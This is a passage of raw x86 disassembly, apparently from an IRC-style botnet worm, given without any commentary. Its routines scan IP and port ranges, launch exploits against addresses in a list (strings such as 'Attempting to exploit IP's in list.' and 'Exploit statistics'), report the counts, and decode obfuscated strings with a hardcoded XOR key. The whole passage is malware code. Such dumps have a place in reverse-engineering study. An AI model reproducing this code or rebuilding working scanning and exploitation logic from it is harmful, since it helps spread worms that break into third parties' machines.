eax, [ebp+var_1CE] push 0 push eax mov [ebp+var_36], 1 call sub_40EA2F mov al, byte ptr [ebp+arg_0+3] pop ecx pop ecx mov [ebp+var_36], bl mov [ebp+var_43], al loc_40F02E: ; CODE XREF: sub_40EE23+172j ; sub_40EE23+17Cj ... mov esi, offset dword_419678 push esi call sub_407200 pop ecx lea eax, [ebp+var_1E8] push [ebp+var_1DA] push eax lea eax, [ebp+var_2F0] push eax mov eax, [ebp+var_2F4] add eax, 14h push offset dword_418230 push eax call sub_4114DC ; sprintf push esi call sub_40720B add esp, 18h lea eax, [ebp+var_1E8] push [ebp+var_1DA] push eax lea eax, [ebp+var_2F0] push eax mov eax, [ebp+var_2F4] push dword ptr [eax] lea eax, [ebp+var_1CE] push offset dword_4181F8 push eax call sub_4096CB xor ebx, ebx add esp, 18h cmp [ebp+var_440], ebx mov esi, 3E8h jnz short loc_40F0B1 push esi call dword_4120A4 ; Sleep loc_40F0B1: ; CODE XREF: sub_40EE23+285j mov [ebp+var_8], ebx call sub_4114E2 ; clock mov [ebp+var_C], eax mov [ebp+arg_0], ebx loc_40F0BF: ; CODE XREF: sub_40EE23+30Fj ; sub_40EE23+34Cj ... mov eax, [ebp+var_2F4] cmp [eax+4], ebx jnz loc_40F265 mov edi, [ebp+arg_0] sub edi, [ebp+var_C] call sub_4114E2 ; clock mov ecx, [ebp+var_1DA] add eax, edi imul ecx, 3E8h cmp eax, ecx jnb loc_40F265 lea eax, [ebp+var_640] push eax lea eax, [ebp+var_540] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_640] push eax lea eax, [ebp+var_2F0] push eax lea eax, [ebp+var_540] push eax call sub_405C9C lea eax, [ebp+var_540] push offset dword_41A2E8 push eax call sub_41177E ; strcmp add esp, 1Ch test eax, eax jz short loc_40F0BF push [ebp+var_4] lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_540] push eax call sub_403B44 add esp, 0Ch push eax call sub_403996 pop ecx test eax, eax pop ecx jz short loc_40F175 call sub_4114E2 ; clock mov ecx, [ebp+var_1DA] add eax, edi imul ecx, 3E8h cmp eax, ecx jb loc_40F0BF loc_40F175: ; CODE XREF: sub_40EE23+335j push [ebp+var_1D6] call dword_4120A4 ; Sleep push [ebp+var_4] call sub_403A1B test eax, eax pop ecx jz loc_40F255 loc_40F192: ; CODE XREF: sub_40EE23+39Fj ; sub_40EE23+3DAj ... push [ebp+var_4] call sub_403AB5 mov ebx, eax pop ecx test ebx, ebx jz loc_40F255 inc [ebp+var_8] cmp [ebp+var_440], 0 jz short loc_40F1FF mov edi, 14Ch push edi call sub_4114C4 ; malloc test eax, eax pop ecx mov dword ptr [ebp+var_14+4], eax jz short loc_40F192 lea ecx, [ebp+var_440] push edi push ecx push eax call sub_4114D0 ; memcpy mov edi, dword ptr [ebp+var_14+4] push edi push offset sub_40ECD6 mov [edi+3Eh], ebx call sub_406C5D add esp, 14h test eax, eax jnz short loc_40F1F2 push edi call sub_4114CA ; free jmp short loc_40F1FC ; --------------------------------------------------------------------------- loc_40F1F2: ; CODE XREF: sub_40EE23+3C5j push [ebp+var_4] push ebx call sub_4039C6 pop ecx loc_40F1FC: ; CODE XREF: sub_40EE23+3CDj pop ecx jmp short loc_40F192 ; --------------------------------------------------------------------------- loc_40F1FF: ; CODE XREF: sub_40EE23+38Cj mov eax, [ebp+var_2F4] cmp dword ptr [eax+4], 0 jnz short loc_40F255 lea eax, [ebp+var_740] push eax push ebx call sub_4034DE pop ecx mov bl, [ebp+var_36] pop ecx lea eax, [ebp+var_1E8] and [ebp+var_36], 0 push eax lea eax, [ebp+var_740] push eax lea eax, [ebp+var_1CE] push offset dword_4181E4 push eax call sub_4096CB add esp, 10h mov [ebp+var_36], bl push esi call dword_4120A4 ; Sleep add [ebp+arg_0], esi jmp loc_40F192 ; --------------------------------------------------------------------------- loc_40F255: ; CODE XREF: sub_40EE23+369j ; sub_40EE23+37Cj ... push [ebp+var_4] call sub_403AF7 pop ecx xor ebx, ebx jmp loc_40F0BF ; --------------------------------------------------------------------------- loc_40F265: ; CODE XREF: sub_40EE23+2A5j ; sub_40EE23+2C6j push [ebp+var_8] call sub_4114E2 ; clock sub eax, [ebp+var_C] mov dword ptr [ebp+var_14+4], ebx push ecx push ecx mov dword ptr [ebp+var_14], eax lea eax, [ebp+var_1E8] fild [ebp+var_14] fmul flt_412280 fstp [esp+758h+var_758] push eax lea eax, [ebp+var_2F0] push eax lea eax, [ebp+var_1CE] push offset unk_4181A0 push eax call sub_4096CB push [ebp+var_4] call sub_403B2F push [ebp+var_2F4] call sub_406E6F add esp, 24h xor eax, eax pop ebx loc_40F2BC: ; CODE XREF: sub_40EE23+164j pop edi pop esi leave retn 4 sub_40EE23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F2C2 proc near ; CODE XREF: sub_407A76+12DDp var_18 = byte ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h push ebx xor ebx, ebx cmp [ebp+arg_4], ebx push esi push edi jz loc_40F45C mov edi, [ebp+arg_8] cmp edi, ebx jz loc_40F45C push edi call sub_4059F0 test al, al pop ecx jz short loc_40F313 push edi call sub_4032A7 test eax, eax pop ecx jz loc_40F45C loc_40F2FB: ; CODE XREF: sub_40F2C2+87j cmp [ebp+arg_C], ebx mov esi, 15180h jz short loc_40F35A push [ebp+arg_C] call sub_41151C ; atoi pop ecx mov [ebp+var_4], eax jmp short loc_40F35D ; --------------------------------------------------------------------------- loc_40F313: ; CODE XREF: sub_40F2C2+28j cmp byte ptr dword_417D98, 0 jz loc_40F45C mov eax, offset dword_417D98 mov esi, eax loc_40F327: ; CODE XREF: sub_40F2C2+91j push eax lea eax, [ebp+var_18] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_18] push eax call sub_40B5E1 lea eax, [ebp+var_18] push edi push eax call sub_411924 ; _strcmpi add esp, 14h test eax, eax jz short loc_40F2FB add esi, 3Ah mov eax, esi cmp byte ptr [esi], 0 jnz short loc_40F327 jmp loc_40F45C ; --------------------------------------------------------------------------- loc_40F35A: ; CODE XREF: sub_40F2C2+41j mov [ebp+var_4], esi loc_40F35D: ; CODE XREF: sub_40F2C2+4Fj cmp [ebp+var_4], ebx jz short loc_40F367 cmp [ebp+var_4], esi jbe short loc_40F36A loc_40F367: ; CODE XREF: sub_40F2C2+9Ej mov [ebp+var_4], esi loc_40F36A: ; CODE XREF: sub_40F2C2+A3j cmp [ebp+arg_10], ebx mov esi, 7D0h jz short loc_40F382 push [ebp+arg_10] call sub_41151C ; atoi pop ecx mov [ebp+arg_10], eax jmp short loc_40F385 ; --------------------------------------------------------------------------- loc_40F382: ; CODE XREF: sub_40F2C2+B0j mov [ebp+arg_10], esi loc_40F385: ; CODE XREF: sub_40F2C2+BEj cmp [ebp+arg_10], 32h jb short loc_40F394 cmp [ebp+arg_10], 0EA60h jbe short loc_40F397 loc_40F394: ; CODE XREF: sub_40F2C2+C7j mov [ebp+arg_10], esi loc_40F397: ; CODE XREF: sub_40F2C2+D0j cmp [ebp+arg_14], ebx mov esi, 100h jz short loc_40F3AF push [ebp+arg_14] call sub_41151C ; atoi pop ecx mov [ebp+arg_C], eax jmp short loc_40F3B2 ; --------------------------------------------------------------------------- loc_40F3AF: ; CODE XREF: sub_40F2C2+DDj mov [ebp+arg_C], esi loc_40F3B2: ; CODE XREF: sub_40F2C2+EBj cmp [ebp+arg_C], ebx jz short loc_40F3C0 cmp [ebp+arg_C], 200h jbe short loc_40F3C3 loc_40F3C0: ; CODE XREF: sub_40F2C2+F3j mov [ebp+arg_C], esi loc_40F3C3: ; CODE XREF: sub_40F2C2+FCj push 2C9h call sub_4114C4 ; malloc mov esi, eax pop ecx cmp esi, ebx jz loc_40F45C push 108h lea edi, [esi+4] push [ebp+arg_4] push edi call sub_4059C2 push 0Eh lea ebx, [esi+10Ch] push [ebp+arg_8] push ebx call sub_4059C2 mov eax, [ebp+var_4] push 1A3h push [ebp+arg_0] mov [esi+11Ah], eax mov eax, [ebp+arg_10] mov [esi+11Eh], eax mov eax, [ebp+arg_C] mov [esi+122h], eax lea eax, [esi+126h] push eax call sub_4114D0 ; memcpy mov ecx, [ebp+arg_0] add esp, 24h xor eax, eax push [ebp+arg_C] cmp [ecx+18Bh], al push [ebp+arg_10] setz al push dword ptr [esi+11Ah] push ebx push edi push offset unk_41825C push eax push esi push offset sub_40EE23 call sub_406D58 add esp, 24h loc_40F45C: ; CODE XREF: sub_40F2C2+Ej ; sub_40F2C2+19j ... pop edi pop esi pop ebx leave retn sub_40F2C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F461 proc near ; DATA XREF: sub_40F6CD+4Bo var_488 = dword ptr -488h var_484 = byte ptr -484h var_304 = byte ptr -304h var_17D = byte ptr -17Dh var_17C = byte ptr -17Ch var_179 = byte ptr -179h var_16D = byte ptr -16Dh var_16C = byte ptr -16Ch var_16B = byte ptr -16Bh var_160 = dword ptr -160h var_15C = byte ptr -15Ch var_149 = byte ptr -149h var_9E = dword ptr -9Eh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 488h push ebx push esi push edi push 327h push [ebp+arg_0] lea eax, [ebp+var_488] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free mov eax, [ebp+var_488] add esp, 10h push dword ptr [eax] lea eax, [ebp+var_304] push offset unk_418308 push eax call sub_4096CB lea eax, [ebp+var_14] xor edi, edi push eax lea eax, [ebp+var_484] push offset dword_413F54 push eax mov [ebp+var_C], edi mov [ebp+var_8], edi call sub_405E4F add esp, 18h mov [ebp+var_10], eax loc_40F4C8: ; CODE XREF: sub_40F461+236j inc [ebp+var_C] cmp off_417DC6, edi jz loc_40F675 mov [ebp+var_4], offset dword_417D98 loc_40F4DE: ; CODE XREF: sub_40F461+20Ej mov esi, [ebp+var_4] push 3Ah lea eax, [ebp+var_15C] push esi push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_15C] mov [ebp+var_160], esi push eax call sub_40B5E1 lea eax, [ebp+var_149] push eax call sub_40B5E1 mov eax, [ebp+var_160] add esp, 14h cmp eax, edi jz loc_40F5CF test byte ptr [eax+32h], 1 jz loc_40F5CF call sub_403338 mov ecx, eax neg ecx sbb ecx, ecx add ecx, 3 cmp [ebp+var_16D], 0 mov [ebp+var_9E], ecx jz short loc_40F55B mov edx, [ebp+var_160] test byte ptr [edx+32h], 2 jnz short loc_40F55B push 1 pop ecx mov [ebp+var_9E], ecx loc_40F55B: ; CODE XREF: sub_40F461+E3j ; sub_40F461+EFj cmp [ebp+var_17D], 0 jz short loc_40F56D push 2 pop ecx mov [ebp+var_9E], ecx loc_40F56D: ; CODE XREF: sub_40F461+101j cmp [ebp+var_17C], 0 jz short loc_40F57F push 3 pop ecx mov [ebp+var_9E], ecx loc_40F57F: ; CODE XREF: sub_40F461+113j cmp ecx, 3 jnz short loc_40F5CF cmp eax, edi jz short loc_40F594 mov [ebp+var_9E], 2 jmp short loc_40F5CF ; --------------------------------------------------------------------------- loc_40F594: ; CODE XREF: sub_40F461+125j mov al, [ebp+var_179] mov bl, [ebp+var_16C] and [ebp+var_179], 0 mov byte ptr [ebp+arg_0+3], al lea eax, [ebp+var_304] push edi push eax mov [ebp+var_16C], 1 call sub_40EA2F mov al, byte ptr [ebp+arg_0+3] pop ecx pop ecx mov [ebp+var_16C], bl mov [ebp+var_179], al loc_40F5CF: ; CODE XREF: sub_40F461+B8j ; sub_40F461+C2j ... mov cl, [ebp+var_16B] mov eax, 1388h neg cl sbb ecx, ecx and ecx, eax add ecx, eax lea eax, [ebp+var_149] push ecx push edi push eax push [ebp+var_10] call sub_403C04 mov ebx, eax add esp, 10h cmp ebx, edi jz short loc_40F665 push 14Ch call sub_4114C4 ; malloc mov esi, eax pop ecx cmp esi, edi jz short loc_40F665 lea eax, [ebp+var_160] push 14Ch push eax push esi call sub_4114D0 ; memcpy inc [ebp+var_8] push esi push offset sub_40ECD6 mov [esi+3Eh], ebx call sub_406C5D add esp, 14h test eax, eax jnz short loc_40F647 push ebx call sub_403D92 push esi call sub_4114CA ; free pop ecx pop ecx jmp short loc_40F665 ; --------------------------------------------------------------------------- loc_40F647: ; CODE XREF: sub_40F461+1D4j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_304] push [ebp+var_10] push offset dword_4182D8 push eax call sub_4096CB add esp, 10h loc_40F665: ; CODE XREF: sub_40F461+199j ; sub_40F461+1AAj ... add [ebp+var_4], 3Ah mov eax, [ebp+var_4] cmp [eax+2Eh], edi jnz loc_40F4DE loc_40F675: ; CODE XREF: sub_40F461+70j lea eax, [ebp+var_14] push eax push offset dword_413F54 push edi call sub_405E4F add esp, 0Ch mov [ebp+var_10], eax cmp eax, edi mov eax, [ebp+var_488] jz short loc_40F69D cmp [eax+4], edi jz loc_40F4C8 loc_40F69D: ; CODE XREF: sub_40F461+231j push [ebp+var_C] push [ebp+var_8] push dword ptr [eax] lea eax, [ebp+var_304] push offset dword_418294 push eax call sub_4096CB push [ebp+var_488] call sub_406E6F add esp, 18h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40F461 endp ; =============== S U B R O U T I N E ======================================= sub_40F6CD proc near ; CODE XREF: sub_407A76+709p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_4], 0 push esi jz short loc_40F725 push 327h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40F725 push 180h lea eax, [esi+4] push [esp+8+arg_4] push eax call sub_4059C2 push 1A3h lea eax, [esi+184h] push [esp+14h+arg_0] push eax call sub_4114D0 ; memcpy add esp, 18h push offset aAttemptingToEx ; "Attempting to exploit IP's in list." push 0 push esi push offset sub_40F461 call sub_406D58 add esp, 10h loc_40F725: ; CODE XREF: sub_40F6CD+6j ; sub_40F6CD+17j pop esi retn sub_40F6CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F727 proc near ; DATA XREF: sub_40F7FD+29o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_21 = byte ptr -21h var_20 = byte ptr -20h var_14 = byte ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1BC] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_3BC] push offset aExploitStatist ; "Exploit statistics - " push eax call sub_4114B8 ; _mbscpy xor ebx, ebx add esp, 18h cmp byte ptr dword_417D98, bl jz short loc_40F7D2 push esi mov esi, offset dword_417D98 mov eax, esi loc_40F773: ; CODE XREF: sub_40F727+A8j push 12h push eax lea eax, [ebp+var_14] push eax call sub_4059C2 lea eax, [ebp+var_14] push eax call sub_40B5E1 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_3BC] push eax call sub_4114EE ; _mbscat add esp, 18h lea eax, [ebp+var_3BC] push dword ptr [esi+2Ah] push offset dword_41835C push eax call sub_4114BE ; strlen pop ecx lea eax, [ebp+eax+var_3BC] push eax call sub_4114DC ; sprintf add esp, 0Ch cmp [ebp+var_21], bl jz short loc_40F7C8 mov [esi+2Ah], ebx loc_40F7C8: ; CODE XREF: sub_40F727+9Cj add esi, 3Ah mov eax, esi cmp [esi], bl jnz short loc_40F773 pop esi loc_40F7D2: ; CODE XREF: sub_40F727+42j lea eax, [ebp+var_3BC] mov [ebp+var_20], bl push eax lea eax, [ebp+var_1B8] push eax call sub_4096CB push [ebp+var_1BC] call sub_406E6F add esp, 0Ch xor eax, eax pop ebx leave retn 4 sub_40F727 endp ; =============== S U B R O U T I N E ======================================= sub_40F7FD proc near ; CODE XREF: sub_407A76+746p arg_0 = dword ptr 4 push esi push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40F833 push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_40457C pop ecx pop ecx push offset aListingExploit ; "Listing exploit statistics" push 0 push esi push offset sub_40F727 call sub_406D58 add esp, 10h loc_40F833: ; CODE XREF: sub_40F7FD+10j pop esi retn sub_40F7FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F835 proc near ; DATA XREF: sub_40F908+AFo var_2B4 = dword ptr -2B4h var_2B0 = byte ptr -2B0h var_1B0 = byte ptr -1B0h var_1AA = dword ptr -1AAh var_1A6 = byte ptr -1A6h var_E = byte ptr -0Eh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2B4h push esi push 2B1h push [ebp+arg_0] lea eax, [ebp+var_2B4] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free call sub_4114E2 ; clock push [ebp+var_1AA] mov esi, eax lea eax, [ebp+var_1B0] push 0 push eax lea eax, [ebp+var_2B0] push eax call sub_403C04 add esp, 20h test eax, eax jz short loc_40F8B7 push eax call sub_403D92 pop ecx call sub_4114E2 ; clock sub eax, esi push eax lea eax, [ebp+var_1B0] push eax lea eax, [ebp+var_2B0] push eax lea eax, [ebp+var_1A6] push offset dword_418408 push eax call sub_4096CB add esp, 14h jmp short loc_40F8F5 ; --------------------------------------------------------------------------- loc_40F8B7: ; CODE XREF: sub_40F835+4Dj cmp [ebp+var_E], 0 jnz short loc_40F8F5 call sub_4114E2 ; clock sub eax, esi cmp eax, [ebp+var_1AA] lea eax, [ebp+var_1B0] push eax lea eax, [ebp+var_2B0] push eax jb short loc_40F8E1 push offset dword_4183D0 jmp short loc_40F8E6 ; --------------------------------------------------------------------------- loc_40F8E1: ; CODE XREF: sub_40F835+A3j push offset dword_4183A0 loc_40F8E6: ; CODE XREF: sub_40F835+AAj lea eax, [ebp+var_1A6] push eax call sub_4096CB add esp, 10h loc_40F8F5: ; CODE XREF: sub_40F835+80j ; sub_40F835+86j push [ebp+var_2B4] call sub_406E6F pop ecx xor eax, eax pop esi leave retn 4 sub_40F835 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F908 proc near ; CODE XREF: sub_407A76+1021p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx push esi push edi jz loc_40F9C4 mov ebx, [ebp+arg_8] test ebx, ebx jnz short loc_40F924 mov ebx, offset a80 ; "80" loc_40F924: ; CODE XREF: sub_40F908+15j push ebx call sub_41151C ; atoi test eax, eax pop ecx jz loc_40F9C4 cmp eax, 0FFFFh ja loc_40F9C4 cmp [ebp+arg_C], 0 jz short loc_40F951 push [ebp+arg_C] call sub_41151C ; atoi pop ecx mov edi, eax jmp short loc_40F956 ; --------------------------------------------------------------------------- loc_40F951: ; CODE XREF: sub_40F908+3Aj mov edi, 0EA60h loc_40F956: ; CODE XREF: sub_40F908+47j test edi, edi jz short loc_40F9C4 cmp edi, 36EE80h ja short loc_40F9C4 push 2B1h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40F9C4 push 100h lea eax, [esi+4] push [ebp+arg_4] push eax call sub_4059C2 push 6 lea eax, [esi+104h] push ebx push eax call sub_4059C2 push [ebp+arg_0] lea eax, [esi+10Eh] mov [esi+10Ah], edi push eax call sub_40457C add esp, 20h push ebx push [ebp+arg_4] push offset dword_418438 push 0 push esi push offset sub_40F835 call sub_406D58 add esp, 18h loc_40F9C4: ; CODE XREF: sub_40F908+Aj ; sub_40F908+25j ... pop edi pop esi pop ebx pop ebp retn sub_40F908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F9C9 proc near ; DATA XREF: sub_40FBA7+169o var_2E0 = qword ptr -2E0h var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2C8h push ebx push 2B3h push [ebp+arg_0] lea eax, [ebp+var_2C8] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free push [ebp+var_1BC] mov ebx, [ebp+var_1C4] call sub_40396E add esp, 14h mov [ebp+arg_0], eax test eax, eax jnz short loc_40FA1D push [ebp+var_2C8] call sub_406E6F pop ecx xor eax, eax jmp loc_40FBA2 ; --------------------------------------------------------------------------- loc_40FA1D: ; CODE XREF: sub_40F9C9+3Fj movzx eax, word ptr [ebp+var_1C4+2] push esi push edi push [ebp+var_1BC] push eax movzx eax, word ptr [ebp+var_1C4] push eax lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_2C8] push dword ptr [eax] lea eax, [ebp+var_1B8] push offset dword_4184A8 push eax call sub_4096CB mov esi, dword_4120A4 add esp, 1Ch cmp [ebp+var_20], 0 mov edi, 3E8h jnz short loc_40FA6C push edi call esi ; Sleep loc_40FA6C: ; CODE XREF: sub_40F9C9+9Ej call sub_4114E2 ; clock and [ebp+var_8], 0 mov [ebp+var_4], eax loc_40FA78: ; CODE XREF: sub_40F9C9+10Dj ; sub_40F9C9+186j mov eax, [ebp+var_2C8] cmp dword ptr [eax+4], 0 jnz loc_40FB54 cmp bx, word ptr [ebp+var_1C4+2] ja loc_40FB54 lea eax, [ebp+var_10] push 0Ah push eax movzx eax, bx push eax call sub_41192A ; _itoa add esp, 0Ch lea eax, [ebp+var_10] inc ebx push [ebp+arg_0] mov [ebp+var_14], ebx push 0 push eax lea eax, [ebp+var_2C4] push eax call sub_403B44 add esp, 0Ch push eax call sub_403996 pop ecx test eax, eax pop ecx jz short loc_40FAD8 cmp bx, word ptr [ebp+var_1C4+2] jbe short loc_40FA78 loc_40FAD8: ; CODE XREF: sub_40F9C9+104j push [ebp+var_1C0] call esi ; Sleep push [ebp+arg_0] call sub_403A1B test eax, eax pop ecx jz short loc_40FB43 loc_40FAED: ; CODE XREF: sub_40F9C9+178j mov eax, [ebp+var_2C8] cmp dword ptr [eax+4], 0 jnz short loc_40FB43 push [ebp+arg_0] call sub_403AB5 test eax, eax pop ecx jz short loc_40FB43 lea ecx, [ebp+var_10] push ecx push eax call sub_40357F pop ecx mov bl, [ebp+var_20] pop ecx lea eax, [ebp+var_10] inc [ebp+var_8] and [ebp+var_20], 0 push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_1B8] push offset dword_418494 push eax call sub_4096CB add esp, 10h mov [ebp+var_20], bl push edi call esi ; Sleep jmp short loc_40FAED ; --------------------------------------------------------------------------- loc_40FB43: ; CODE XREF: sub_40F9C9+122j ; sub_40F9C9+12Ej ... push [ebp+arg_0] call sub_403AF7 mov ebx, [ebp+var_14] pop ecx jmp loc_40FA78 ; --------------------------------------------------------------------------- loc_40FB54: ; CODE XREF: sub_40F9C9+B9j ; sub_40F9C9+C6j push [ebp+var_8] call sub_4114E2 ; clock sub eax, [ebp+var_4] push ecx push ecx mov [ebp+var_4], eax lea eax, [ebp+var_2C4] fild [ebp+var_4] fmul flt_412280 fstp [esp+2E0h+var_2E0] push eax lea eax, [ebp+var_1B8] push offset unk_418458 push eax call sub_4096CB push [ebp+arg_0] call sub_403B2F push [ebp+var_2C8] call sub_406E6F add esp, 20h xor eax, eax pop edi pop esi loc_40FBA2: ; CODE XREF: sub_40F9C9+4Fj pop ebx leave retn 4 sub_40F9C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FBA7 proc near ; CODE XREF: sub_407A76+7BAp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 push ebx push esi push edi jz loc_40FD1D mov eax, [ebp+arg_8] test eax, eax jz loc_40FD1D cmp [ebp+arg_C], 0 jnz short loc_40FBCC mov [ebp+arg_C], eax loc_40FBCC: ; CODE XREF: sub_40FBA7+20j push eax call sub_41151C ; atoi mov edi, eax pop ecx test edi, edi mov [ebp+arg_8], edi jz loc_40FD1D mov esi, 0FFFFh cmp edi, esi ja loc_40FD1D push [ebp+arg_C] call sub_41151C ; atoi mov ebx, eax pop ecx test ebx, ebx mov [ebp+var_4], ebx jz loc_40FD1D cmp ebx, esi ja loc_40FD1D push 2B3h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz loc_40FD1D cmp edi, ebx jbe short loc_40FC2A mov [ebp+var_4], edi mov [ebp+arg_8], ebx loc_40FC2A: ; CODE XREF: sub_40FBA7+7Bj cmp [ebp+arg_10], 0 mov edi, 7D0h jz short loc_40FC43 push [ebp+arg_10] call sub_41151C ; atoi pop ecx mov [ebp+arg_C], eax jmp short loc_40FC46 ; --------------------------------------------------------------------------- loc_40FC43: ; CODE XREF: sub_40FBA7+8Cj mov [ebp+arg_C], edi loc_40FC46: ; CODE XREF: sub_40FBA7+9Aj cmp [ebp+arg_C], 0 mov ebx, 0EA60h jz short loc_40FC56 cmp [ebp+arg_C], ebx jbe short loc_40FC59 loc_40FC56: ; CODE XREF: sub_40FBA7+A8j mov [ebp+arg_C], edi loc_40FC59: ; CODE XREF: sub_40FBA7+ADj cmp [ebp+arg_14], 0 mov edi, 100h jz short loc_40FC72 push [ebp+arg_14] call sub_41151C ; atoi pop ecx mov [ebp+arg_10], eax jmp short loc_40FC75 ; --------------------------------------------------------------------------- loc_40FC72: ; CODE XREF: sub_40FBA7+BBj mov [ebp+arg_10], edi loc_40FC75: ; CODE XREF: sub_40FBA7+C9j cmp [ebp+arg_10], 0 jz short loc_40FC84 cmp [ebp+arg_10], 200h jbe short loc_40FC87 loc_40FC84: ; CODE XREF: sub_40FBA7+D2j mov [ebp+arg_10], edi loc_40FC87: ; CODE XREF: sub_40FBA7+DBj push edi lea eax, [esi+4] push [ebp+arg_4] push eax call sub_4114D6 ; strncpy mov ax, word ptr [ebp+arg_8] add esp, 0Ch cmp [ebp+arg_C], ebx mov [esi+104h], ax mov ax, word ptr [ebp+var_4] mov [esi+106h], ax ja short loc_40FCB5 mov ebx, [ebp+arg_C] loc_40FCB5: ; CODE XREF: sub_40FBA7+109j mov eax, 200h mov [esi+108h], ebx cmp [ebp+arg_10], eax ja short loc_40FCC8 mov eax, [ebp+arg_10] loc_40FCC8: ; CODE XREF: sub_40FBA7+11Cj mov ebx, [ebp+arg_0] lea edi, [esi+10Ch] push 1A3h push ebx mov [edi], eax lea eax, [esi+110h] push eax call sub_4114D0 ; memcpy movzx eax, word ptr [esi+106h] add esp, 0Ch push dword ptr [edi] push eax movzx eax, word ptr [esi+104h] push eax lea eax, [esi+4] push eax xor eax, eax cmp [ebx+18Bh], al push offset dword_4184F0 setz al push eax push esi push offset sub_40F9C9 call sub_406D58 add esp, 20h loc_40FD1D: ; CODE XREF: sub_40FBA7+Bj ; sub_40FBA7+16j ... pop edi pop esi pop ebx leave retn sub_40FBA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FD22 proc near ; CODE XREF: sub_40FEB8+234p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi lea eax, [ebp+var_4] push edi mov edi, [ebp+arg_4] mov esi, offset dword_413B5C push eax push esi push edi mov ebx, offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" call sub_411522 ; sscanf add esp, 0Ch test eax, eax jz short loc_40FDA1 inc edi inc edi loc_40FD4A: ; CODE XREF: sub_40FD22+7Dj lea eax, [ebp+arg_4] push eax push esi push edi call sub_411522 ; sscanf add esp, 0Ch test eax, eax jz short loc_40FDA1 movsx ecx, byte ptr [ebx] mov eax, [ebp+arg_4] xor eax, ecx inc ebx cmp [ebp+var_4], eax mov [ebp+arg_4], eax jl short loc_40FD71 dec eax mov [ebp+arg_4], eax loc_40FD71: ; CODE XREF: sub_40FD22+49j sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ecx], al lea eax, [ebp+var_4] push eax push esi push edi call sub_411522 ; sscanf add esp, 0Ch test eax, eax jz short loc_40FDA1 inc edi inc edi cmp byte ptr [ebx], 0 jnz short loc_40FD9A mov ebx, offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" loc_40FD9A: ; CODE XREF: sub_40FD22+71j cmp byte ptr [edi], 0 jz short loc_40FDA5 jmp short loc_40FD4A ; --------------------------------------------------------------------------- loc_40FDA1: ; CODE XREF: sub_40FD22+24j ; sub_40FD22+38j ... xor eax, eax jmp short loc_40FDAE ; --------------------------------------------------------------------------- loc_40FDA5: ; CODE XREF: sub_40FD22+7Bj mov eax, [ebp+arg_0] push 1 and byte ptr [eax], 0 pop eax loc_40FDAE: ; CODE XREF: sub_40FD22+81j pop edi pop esi pop ebx leave retn sub_40FD22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FDB3 proc near ; CODE XREF: sub_40FEB8+2Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi lea eax, [ebp+var_8] push edi xor edi, edi push eax push 20019h push edi push offset 